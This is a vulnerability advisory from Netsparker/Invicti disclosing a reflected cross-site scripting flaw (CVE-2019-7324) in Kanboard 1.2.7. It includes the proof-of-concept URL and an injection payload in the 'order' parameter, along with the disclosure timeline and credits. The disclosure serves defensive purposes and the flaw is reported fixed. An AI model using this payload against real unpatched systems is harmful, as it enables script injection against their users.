Reflected Cross-site Scripting Vulnerability in Kanboard 1.2.7


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Kanboard
Affected Software: Kanboard
Affected Versions: 1.2.7
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2019-7324
CVSS Score (3.0): VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-001

Technical Details

URL: http://localhost/kanboard-1.2.7/?controller=DashboardController&action=show&pagination=projects&user_id=1&page=1&order=%22%3E%3Cimg%20src=x%20onerror=alert(0)%3E
Parameter Name: order
Parameter Type: GET
Attack Pattern: "><img src=x onerror=alert(0)>
Auth: required

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

30th January 2019 – First Contact
31st January 2019 – Vendor Fixed
27th May 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Mithat Gogebakan while testing the Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.